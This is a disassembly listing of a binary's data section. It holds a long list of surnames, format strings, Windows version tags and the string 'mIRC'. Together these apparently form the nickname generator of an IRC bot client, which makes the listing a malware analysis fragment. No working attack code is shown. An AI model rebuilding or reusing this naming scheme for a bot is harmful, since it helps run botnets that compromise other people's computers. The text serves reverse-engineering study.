aOgata db 'Ogata',0 ; DATA XREF: .data:00444FC8o
align 4
aOh db 'Oh',0 ; DATA XREF: .data:00444FCCo
align 4
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:00444FD0o
aOldford db 'Oldford',0 ; DATA XREF: .data:00444FD4o
aOlsen db 'Olsen',0 ; DATA XREF: .data:00444FD8o
align 4
aOlson db 'Olson',0 ; DATA XREF: .data:00444FDCo
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: .data:00444FE0o
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:00444FE4o
align 4
aOman db 'Oman',0 ; DATA XREF: .data:00444FE8o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:00444FECo
aOpel db 'Opel',0 ; DATA XREF: .data:00444FF0o
align 4
aOray db 'Oray',0 ; DATA XREF: .data:00444FF4o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: .data:00444FF8o
aOrsi db 'Orsi',0 ; DATA XREF: .data:00444FFCo
align 4
aOspina db 'Ospina',0 ; DATA XREF: .data:00445000o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:00445004o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:00445008o
align 4
aOtten db 'Otten',0 ; DATA XREF: .data:0044500Co
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: .data:00445010o
aOvid db 'Ovid',0 ; DATA XREF: .data:00445014o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:00445018o
align 4
aPaine db 'Paine',0 ; DATA XREF: .data:0044501Co
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: .data:00445020o
align 10h
aPalepu db 'Palepu',0 ; DATA XREF: .data:00445024o
align 4
aPallara db 'Pallara',0 ; DATA XREF: .data:00445028o
aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0044502Co
align 4
aPanadero db 'Panadero',0 ; DATA XREF: .data:00445030o
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: .data:00445034o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: .data:00445038o
align 10h
aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0044503Co
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:00445040o
aParris db 'Parris',0 ; DATA XREF: .data:00445044o
align 10h
aPartridge db 'Partridge',0 ; DATA XREF: .data:00445048o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: .data:0044504Co
align 4
aPatefield db 'Patefield',0 ; DATA XREF: .data:00445050o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: .data:00445054o
aPattullo db 'Pattullo',0 ; DATA XREF: .data:00445058o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: .data:0044505Co
aPavlon db 'Pavlon',0 ; DATA XREF: .data:00445060o
align 4
aPawloski db 'Pawloski',0 ; DATA XREF: .data:00445064o
align 4
aPaynter db 'Paynter',0 ; DATA XREF: .data:00445068o
aPeabody db 'Peabody',0 ; DATA XREF: .data:0044506Co
aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:00445070o
align 10h
aPederson db 'Pederson',0 ; DATA XREF: .data:00445074o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: .data:00445078o
aPenny db 'Penny',0 ; DATA XREF: .data:0044507Co
align 4
aPereira db 'Pereira',0 ; DATA XREF: .data:00445080o
aPerko db 'Perko',0 ; DATA XREF: .data:00445084o
align 4
aPerlak db 'Perlak',0 ; DATA XREF: .data:00445088o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: .data:0044508Co
aPerna db 'Perna',0 ; DATA XREF: .data:00445090o
align 4
aPerone db 'Perone',0 ; DATA XREF: .data:00445094o
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: .data:00445098o
align 4
aPeters db 'Peters',0 ; DATA XREF: .data:0044509Co
align 10h
aPetruzello db 'Petruzello',0 ; DATA XREF: .data:004450A0o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: .data:004450A4o
align 4
aPettit db 'Pettit',0 ; DATA XREF: .data:004450A8o
align 10h
aPfister db 'Pfister',0 ; DATA XREF: .data:004450ACo
aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:004450B0o
aPinot db 'Pinot',0 ; DATA XREF: .data:004450B4o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: .data:004450B8o
aPlant db 'Plant',0 ; DATA XREF: .data:004450BCo
align 4
aPlasket db 'Plasket',0 ; DATA XREF: .data:004450C0o
aPlous db 'Plous',0 ; DATA XREF: .data:004450C4o
align 4
aPo db 'Po',0 ; DATA XREF: .data:004450C8o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: .data:004450CCo
align 4
aPoincaire db 'Poincaire',0 ; DATA XREF: .data:004450D0o
align 4
aPointer db 'Pointer',0 ; DATA XREF: .data:004450D4o
aPoirier db 'Poirier',0 ; DATA XREF: .data:004450D8o
aPolak db 'Polak',0 ; DATA XREF: .data:004450DCo
align 4
aPolanyi db 'Polanyi',0 ; DATA XREF: .data:004450E0o
aPolitis db 'Politis',0 ; DATA XREF: .data:004450E4o
aPoma db 'Poma',0 ; DATA XREF: .data:004450E8o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: .data:004450ECo
aPowers db 'Powers',0 ; DATA XREF: .data:004450F0o
align 4
aPresper db 'Presper',0 ; DATA XREF: .data:004450F4o
aPreucel db 'Preucel',0 ; DATA XREF: .data:004450F8o
aPrevost db 'Prevost',0 ; DATA XREF: .data:004450FCo
aPritchard db 'Pritchard',0 ; DATA XREF: .data:00445100o
align 4
aPritz db 'Pritz',0 ; DATA XREF: .data:00445104o
align 10h
aProietti db 'Proietti',0 ; DATA XREF: .data:00445108o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0044510Co
align 4
aPuccia db 'Puccia',0 ; DATA XREF: .data:00445110o
align 4
aPugh db 'Pugh',0 ; DATA XREF: .data:00445114o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: .data:00445118o
aQuaday db 'Quaday',0 ; DATA XREF: .data:0044511Co
align 4
aQuetin db 'Quetin',0 ; DATA XREF: .data:00445120o
align 4
aRabe db 'Rabe',0 ; DATA XREF: .data:00445124o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: .data:00445128o
align 4
aRadeke db 'Radeke',0 ; DATA XREF: .data:0044512Co
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:00445130o
aRaney db 'Raney',0 ; DATA XREF: .data:00445134o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: .data:00445138o
align 4
aRankin db 'Rankin',0 ; DATA XREF: .data:0044513Co
align 10h
aRapple db 'Rapple',0 ; DATA XREF: .data:00445140o
align 4
aRayport db 'Rayport',0 ; DATA XREF: .data:00445144o
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:00445148o
align 10h
aReedquist db 'Reedquist',0 ; DATA XREF: .data:0044514Co
align 4
aCunningham db 'Cunningham',0 ; DATA XREF: .data:00445150o
align 4
aReinold db 'Reinold',0 ; DATA XREF: .data:00445154o
aRemak db 'Remak',0 ; DATA XREF: .data:00445158o
align 4
aRenick db 'Renick',0 ; DATA XREF: .data:0044515Co
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: .data:00445160o
aResnik db 'Resnik',0 ; DATA XREF: .data:00445164o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: .data:00445168o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: .data:0044516Co
align 4
aRielly db 'Rielly',0 ; DATA XREF: .data:00445170o
align 4
aRindos db 'Rindos',0 ; DATA XREF: .data:00445174o
align 4
aRineer db 'Rineer',0 ; DATA XREF: .data:00445178o
align 4
aRish db 'Rish',0 ; DATA XREF: .data:0044517Co
align 4
aRivera db 'Rivera',0 ; DATA XREF: .data:00445180o
align 4
aRobinson db 'Robinson',0 ; DATA XREF: .data:00445184o
align 4
aRocha db 'Rocha',0 ; DATA XREF: .data:00445188o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: .data:0044518Co
aRogers db 'Rogers',0 ; DATA XREF: .data:00445190o
align 10h
aRonen db 'Ronen',0 ; DATA XREF: .data:00445194o
align 4
aRow db 'Row',0 ; DATA XREF: .data:00445198o
aRoyal db 'Royal',0 ; DATA XREF: .data:0044519Co
align 4
aRu db 'Ru',0 ; DATA XREF: .data:004451A0o
align 4
aRuan db 'Ruan',0 ; DATA XREF: .data:004451A4o
align 10h
aRuderman db 'Ruderman',0 ; DATA XREF: .data:004451A8o
align 4
aRuescher db 'Ruescher',0 ; DATA XREF: .data:004451ACo
align 4
aRush db 'Rush',0 ; DATA XREF: .data:004451B0o
align 10h
aRyu db 'Ryu',0 ; DATA XREF: .data:004451B4o
aSabatello db 'Sabatello',0 ; DATA XREF: .data:004451B8o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: .data:004451BCo
align 4
aSafire db 'Safire',0 ; DATA XREF: .data:004451C0o
align 10h
aSahu db 'Sahu',0 ; DATA XREF: .data:004451C4o
align 4
aSali db 'Sali',0 ; DATA XREF: .data:004451C8o
align 10h
aSamson db 'Samson',0 ; DATA XREF: .data:004451CCo
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:004451D0o
aSanna db 'Sanna',0 ; DATA XREF: .data:004451D4o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: .data:004451D8o
align 4
aSarin db 'Sarin',0 ; DATA XREF: .data:004451DCo
align 10h
aSartore db 'Sartore',0 ; DATA XREF: .data:004451E0o
aSase db 'Sase',0 ; DATA XREF: .data:004451E4o
align 10h
aSatin db 'Satin',0 ; DATA XREF: .data:004451E8o
align 4
aSatta db 'Satta',0 ; DATA XREF: .data:004451ECo
align 10h
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:004451F0o
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: .data:004451F4o
aSayied db 'Sayied',0 ; DATA XREF: .data:004451F8o
align 10h
aScarponi db 'Scarponi',0 ; DATA XREF: .data:004451FCo
align 4
aScepan db 'Scepan',0 ; DATA XREF: .data:00445200o
align 4
aScharf db 'Scharf',0 ; DATA XREF: .data:00445204o
align 4
aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:00445208o
aScheiner db 'Scheiner',0 ; DATA XREF: .data:0044520Co
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .data:00445210o
aSchifini db 'Schifini',0 ; DATA XREF: .data:00445214o
align 4
aSchilling db 'Schilling',0 ; DATA XREF: .data:00445218o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0044521Co
aSchossberger db 'Schossberger',0 ; DATA XREF: .data:00445220o
align 4
aSchuman db 'Schuman',0 ; DATA XREF: .data:00445224o
aSchutte db 'Schutte',0 ; DATA XREF: .data:00445228o
aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0044522Co
align 4
aSchwan db 'Schwan',0 ; DATA XREF: .data:00445230o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:00445234o
aScovel db 'Scovel',0 ; DATA XREF: .data:00445238o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .data:0044523Co
aSeaton db 'Seaton',0 ; DATA XREF: .data:00445240o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .data:00445244o
align 4
aSegal db 'Segal',0 ; DATA XREF: .data:00445248o
align 4
aSekler db 'Sekler',0 ; DATA XREF: .data:0044524Co
align 4
aSelvage db 'Selvage',0 ; DATA XREF: .data:00445250o
aSen db 'Sen',0 ; DATA XREF: .data:00445254o
aSennett db 'Sennett',0 ; DATA XREF: .data:00445258o
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0044525Co
align 4
aSexton db 'Sexton',0 ; DATA XREF: .data:00445260o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .data:00445264o
aShaikh db 'Shaikh',0 ; DATA XREF: .data:00445268o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .data:0044526Co
align 4
aShankland db 'Shankland',0 ; DATA XREF: .data:00445270o
align 4
aShanley db 'Shanley',0 ; DATA XREF: .data:00445274o
aShar db 'Shar',0 ; DATA XREF: .data:00445278o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .data:0044527Co
aShavelson db 'Shavelson',0 ; DATA XREF: .data:00445280o
align 4
aShea db 'Shea',0 ; DATA XREF: .data:00445284o
align 4
aSheats db 'Sheats',0 ; DATA XREF: .data:00445288o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: .data:0044528Co
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .data:00445290o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .data:00445294o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: .data:00445298o
align 4
aShia db 'Shia',0 ; DATA XREF: .data:0044529Co
align 10h
aShibata db 'Shibata',0 ; DATA XREF: .data:004452A0o
aShimon db 'Shimon',0 ; DATA XREF: .data:004452A4o
align 10h
aSiesto db 'Siesto',0 ; DATA XREF: .data:004452A8o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .data:004452ACo
aSigini db 'Sigini',0 ; DATA XREF: .data:004452B0o
align 4
aSigna db 'Signa',0 ; DATA XREF: .data:004452B4o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: .data:004452B8o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: .data:004452BCo
align 4
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:004452C0o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .data:004452C4o
aSites db 'Sites',0 ; DATA XREF: .data:004452C8o
align 4
aSkane db 'Skane',0 ; DATA XREF: .data:004452CCo
align 4
aSkerry db 'Skerry',0 ; DATA XREF: .data:004452D0o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .data:004452D4o
align 4
aSloan db 'Sloan',0 ; DATA XREF: .data:004452D8o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .data:004452DCo
align 4
aSmilow db 'Smilow',0 ; DATA XREF: .data:004452E0o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .data:004452E4o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:004452E8o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .data:004452ECo
aSolon db 'Solon',0 ; DATA XREF: .data:004452F0o
align 4
aSomers db 'Somers',0 ; DATA XREF: .data:004452F4o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: .data:004452F8o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: .data:004452FCo
align 4
aSorg db 'Sorg',0 ; DATA XREF: .data:00445300o
align 10h
aSottak db 'Sottak',0 ; DATA XREF: .data:00445304o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .data:00445308o
align 10h
aSoule db 'Soule',0 ; DATA XREF: .data:0044530Co
align 4
aSoultanian db 'Soultanian',0 ; DATA XREF: .data:00445310o
align 4
aSpanier db 'Spanier',0 ; DATA XREF: .data:00445314o
aSparrow db 'Sparrow',0 ; DATA XREF: .data:00445318o
aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0044531Co
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: .data:00445320o
aSpence db 'Spence',0 ; DATA XREF: .data:00445324o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: .data:00445328o
aSpicer db 'Spicer',0 ; DATA XREF: .data:0044532Co
align 10h
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:00445330o
align 10h
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:00445334o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: .data:00445338o
aStmartin db 'StMartin',0 ; DATA XREF: .data:0044533Co
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: .data:00445340o
aStam db 'Stam',0 ; DATA XREF: .data:off_445344o
align 10h
aStang db 'Stang',0 ; DATA XREF: .data:00445348o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0044534Co
align 4
aStates db 'States',0 ; DATA XREF: .data:00445350o
align 10h
aStatlender db 'Statlender',0 ; DATA XREF: .data:00445354o
align 4
aStefani db 'Stefani',0 ; DATA XREF: .data:00445358o
aSteiner db 'Steiner',0 ; DATA XREF: .data:0044535Co
aStephanian db 'Stephanian',0 ; DATA XREF: .data:00445360o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:00445364o
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:00445368o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .data:0044536Co
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: .data:00445370o
align 4
aStock db 'Stock',0 ; DATA XREF: .data:00445374o
align 4
aStockton db 'Stockton',0 ; DATA XREF: .data:00445378o
align 10h
aStockwell db 'Stockwell',0 ; DATA XREF: .data:0044537Co
align 4
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:00445380o
aStonich db 'Stonich',0 ; DATA XREF: .data:00445384o
aStorer db 'Storer',0 ; DATA XREF: .data:00445388o
align 4
aStott db 'Stott',0 ; DATA XREF: .data:0044538Co
align 10h
aStrange db 'Strange',0 ; DATA XREF: .data:00445390o
aStrauch db 'Strauch',0 ; DATA XREF: .data:00445394o
aStreiff db 'Streiff',0 ; DATA XREF: .data:00445398o
aStringer db 'Stringer',0 ; DATA XREF: .data:0044539Co
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .data:004453A0o
align 10h
aSumner db 'Sumner',0 ; DATA XREF: .data:004453A4o
align 4
aSuo db 'Suo',0 ; DATA XREF: .data:004453A8o
aSurdam db 'Surdam',0 ; DATA XREF: .data:004453ACo
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .data:004453B0o
align 10h
aSweetser db 'Sweetser',0 ; DATA XREF: .data:004453B4o
align 4
aSwindle db 'Swindle',0 ; DATA XREF: .data:004453B8o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:004453BCo
aTai db 'Tai',0 ; DATA XREF: .data:004453C0o
aTalaugon db 'Talaugon',0 ; DATA XREF: .data:004453C4o
align 4
aTambiah db 'Tambiah',0 ; DATA XREF: .data:004453C8o
aTandler db 'Tandler',0 ; DATA XREF: .data:004453CCo
aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:004453D0o
align 4
aTatar db 'Tatar',0 ; DATA XREF: .data:004453D4o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: .data:004453D8o
aTawn db 'Tawn',0 ; DATA XREF: .data:004453DCo
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:004453E0o
align 4
aTeague db 'Teague',0 ; DATA XREF: .data:004453E4o
align 4
aTemes db 'Temes',0 ; DATA XREF: .data:004453E8o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: .data:004453ECo
align 4
aTenney db 'Tenney',0 ; DATA XREF: .data:004453F0o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: .data:004453F4o
align 4
aThan db 'Than',0 ; DATA XREF: .data:004453F8o
align 10h
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:004453FCo
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: .data:00445400o
aThibault db 'Thibault',0 ; DATA XREF: .data:00445404o
align 4
aThisted db 'Thisted',0 ; DATA XREF: .data:00445408o
aThomsen db 'Thomsen',0 ; DATA XREF: .data:0044540Co
aThroop db 'Throop',0 ; DATA XREF: .data:00445410o
align 4
aTierney db 'Tierney',0 ; DATA XREF: .data:00445414o
aTill db 'Till',0 ; DATA XREF: .data:00445418o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: .data:0044541Co
aTofallis db 'Tofallis',0 ; DATA XREF: .data:00445420o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:00445424o
align 4
aTolls db 'Tolls',0 ; DATA XREF: .data:00445428o
align 4
aTolman db 'Tolman',0 ; DATA XREF: .data:0044542Co
align 4
aTomford db 'Tomford',0 ; DATA XREF: .data:00445430o
aToomer db 'Toomer',0 ; DATA XREF: .data:00445434o
align 4
aTopulos db 'Topulos',0 ; DATA XREF: .data:00445438o
aTorresi db 'Torresi',0 ; DATA XREF: .data:0044543Co
aTorske db 'Torske',0 ; DATA XREF: .data:00445440o
align 4
aTowler db 'Towler',0 ; DATA XREF: .data:00445444o
align 4
aToye db 'Toye',0 ; DATA XREF: .data:00445448o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .data:0044544Co
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: .data:00445450o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .data:00445454o
align 10h
aTringali db 'Tringali',0 ; DATA XREF: .data:00445458o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: .data:0044545Co
aTroy db 'Troy',0 ; DATA XREF: .data:00445460o
align 4
aTruss db 'Truss',0 ; DATA XREF: .data:00445464o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: .data:00445468o
aTsomides db 'Tsomides',0 ; DATA XREF: .data:0044546Co
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: .data:00445470o
align 4
aTuck db 'Tuck',0 ; DATA XREF: .data:00445474o
align 4
aTudge db 'Tudge',0 ; DATA XREF: .data:00445478o
align 4
aTukan db 'Tukan',0 ; DATA XREF: .data:0044547Co
align 4
aTurano db 'Turano',0 ; DATA XREF: .data:00445480o
align 4
aTurek db 'Turek',0 ; DATA XREF: .data:00445484o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: .data:00445488o
align 4
aTwells db 'Twells',0 ; DATA XREF: .data:0044548Co
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:00445490o
align 4
aUllman db 'Ullman',0 ; DATA XREF: .data:00445494o
align 10h
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:00445498o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0044549Co
aUrban db 'Urban',0 ; DATA XREF: .data:004454A0o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:004454A4o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: .data:004454A8o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .data:004454ACo
align 4
aVacca db 'Vacca',0 ; DATA XREF: .data:004454B0o
align 4
aWaite db 'Waite',0 ; DATA XREF: .data:004454B4o
align 4
aValberg db 'Valberg',0 ; DATA XREF: .data:004454B8o
aValencia db 'Valencia',0 ; DATA XREF: .data:004454BCo
align 10h
aWales db 'Wales',0 ; DATA XREF: .data:004454C0o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:004454C4o
align 4
aWalter db 'Walter',0 ; DATA XREF: .data:004454C8o
align 4
aVanallen db 'vanAllen',0 ; DATA XREF: .data:004454CCo
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .data:004454D0o
aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:004454D4o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:004454D8o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:004454DCo
align 4
aWasowska db 'Wasowska',0 ; DATA XREF: .data:004454E0o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .data:004454E4o
aWaugh db 'Waugh',0 ; DATA XREF: .data:004454E8o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .data:004454ECo
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: .data:004454F0o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:004454F4o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:004454F8o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .data:004454FCo
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: .data:00445500o
align 4
aWelles db 'Welles',0 ; DATA XREF: .data:00445504o
align 4
aWelsh db 'Welsh',0 ; DATA XREF: .data:00445508o
align 4
aWengret db 'Wengret',0 ; DATA XREF: .data:0044550Co
aVenne db 'Venne',0 ; DATA XREF: .data:00445510o
align 4
aVerghese db 'Verghese',0 ; DATA XREF: .data:00445514o
align 4
aWescott db 'Wescott',0 ; DATA XREF: .data:00445518o
aWetzel db 'Wetzel',0 ; DATA XREF: .data:0044551Co
align 4
aWhately db 'Whately',0 ; DATA XREF: .data:00445520o
aWhilton db 'Whilton',0 ; DATA XREF: .data:00445524o
aWhite db 'White',0 ; DATA XREF: .data:00445528o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: .data:0044552Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .data:00445530o
align 4
aViana db 'Viana',0 ; DATA XREF: .data:00445534o
align 4
aViano db 'Viano',0 ; DATA XREF: .data:00445538o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0044553Co
aWiener db 'Wiener',0 ; DATA XREF: .data:00445540o
align 4
aViens db 'Viens',0 ; DATA XREF: .data:00445544o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: .data:00445548o
aWilder db 'Wilder',0 ; DATA XREF: .data:0044554Co
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:00445550o
aWilk db 'Wilk',0 ; DATA XREF: .data:00445554o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: .data:00445558o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0044555Co
align 4
aVillarreal db 'Villarreal',0 ; DATA XREF: .data:00445560o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: .data:00445564o
aWilson db 'Wilson',0 ; DATA XREF: .data:00445568o
align 4
aVitali db 'Vitali',0 ; DATA XREF: .data:0044556Co
align 4
aViviani db 'Viviani',0 ; DATA XREF: .data:00445570o
aVoigt db 'Voigt',0 ; DATA XREF: .data:00445574o
align 4
aWolk db 'Wolk',0 ; DATA XREF: .data:00445578o
align 4
aVonhoffman db 'VonHoffman',0 ; DATA XREF: .data:0044557Co
align 10h
aWoo db 'Woo',0 ; DATA XREF: .data:00445580o
aWooden db 'Wooden',0 ; DATA XREF: .data:00445584o
align 4
aWoods db 'Woods',0 ; DATA XREF: .data:00445588o
align 4
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: .data:0044558Co
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: .data:00445590o
aVotey db 'Votey',0 ; DATA XREF: .data:00445594o
align 4
aYacono db 'Yacono',0 ; DATA XREF: .data:00445598o
align 4
aYamane db 'Yamane',0 ; DATA XREF: .data:0044559Co
align 4
aYankee db 'Yankee',0 ; DATA XREF: .data:004455A0o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: .data:004455A4o
aYates db 'Yates',0 ; DATA XREF: .data:004455A8o
align 4
aYbarra db 'Ybarra',0 ; DATA XREF: .data:004455ACo
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: .data:004455B0o
aYesson db 'Yesson',0 ; DATA XREF: .data:004455B4o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: .data:004455B8o
align 4
aYoffe db 'Yoffe',0 ; DATA XREF: .data:004455BCo
align 4
aYoo db 'Yoo',0 ; DATA XREF: .data:004455C0o
aYoukSee db 'Youk-See',0 ; DATA XREF: .data:004455C4o
align 4
aYu db 'Yu',0 ; DATA XREF: .data:004455C8o
align 4
aZachary db 'Zachary',0 ; DATA XREF: .data:004455CCo
aZahedi db 'Zahedi',0 ; DATA XREF: .data:004455D0o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: .data:004455D4o
align 4
aZegans db 'Zegans',0 ; DATA XREF: .data:004455D8o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: .data:004455DCo
aZoldak db 'Zoldak',0 ; DATA XREF: .data:004455E0o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: .data:004455E4o
aZurn db 'Zurn',0 ; DATA XREF: .data:004455E8o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: .data:004455ECo
align 4
aZytowski db 'Zytowski',0 ; DATA XREF: .data:004455F0o
align 10h
; char aS_37[]
aS_37 db '%s',0 ; DATA XREF: sub_40B06A+28o
align 4
; char aSI_3[]
aSI_3 db '%s%i',0 ; DATA XREF: sub_40B06A+4Fo
align 4
; char aS_38[]
aS_38 db '%s',0 ; DATA XREF: sub_40B0D7+19o
align 10h
; char aSI_4[]
aSI_4 db '%s%i',0 ; DATA XREF: sub_40B0D7+40o
align 4
; char aPc[]
aPc db 'PC',0 ; DATA XREF: sub_40B182+6o
align 4
aPc_0 db 'PC',0 ; DATA XREF: sub_40B182+30o
align 10h
aPc_1 db 'PC',0 ; DATA XREF: sub_40B182+5Co
align 4
; char aSI_0[]
aSI_0 db '%s%i',0 ; DATA XREF: sub_40B182+87o
align 4
; char aS_22[]
aS_22 db '%s|',0 ; DATA XREF: sub_40B228+2Fo
; char aSI_1[]
aSI_1 db '%s%i',0 ; DATA XREF: sub_40B228+56o
align 4
a95 db '95',0 ; DATA XREF: sub_40B29D+4Fo
align 4
aNt db 'NT',0 ; DATA XREF: sub_40B29D+5Do
align 10h
a98 db '98',0 ; DATA XREF: sub_40B29D+6Do
align 4
aMe_0 db 'ME',0 ; DATA XREF: sub_40B29D+7Do
align 4
a2k db '2K',0 ; DATA XREF: sub_40B29D+96o
align 4
aXp db 'XP',0 ; DATA XREF: sub_40B29D+A6o
align 10h
a2k3 db '2K3',0 ; DATA XREF: sub_40B29D+B4o
a??? db '???',0 ; DATA XREF: sub_40B29D:loc_40B358o
; char aS_23[]
aS_23 db '[%s]|',0 ; DATA XREF: sub_40B29D+C4o
align 10h
; char aSI_2[]
aSI_2 db '%s%i',0 ; DATA XREF: sub_40B29D+EBo
align 4
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40B3A7+1Fo
align 10h
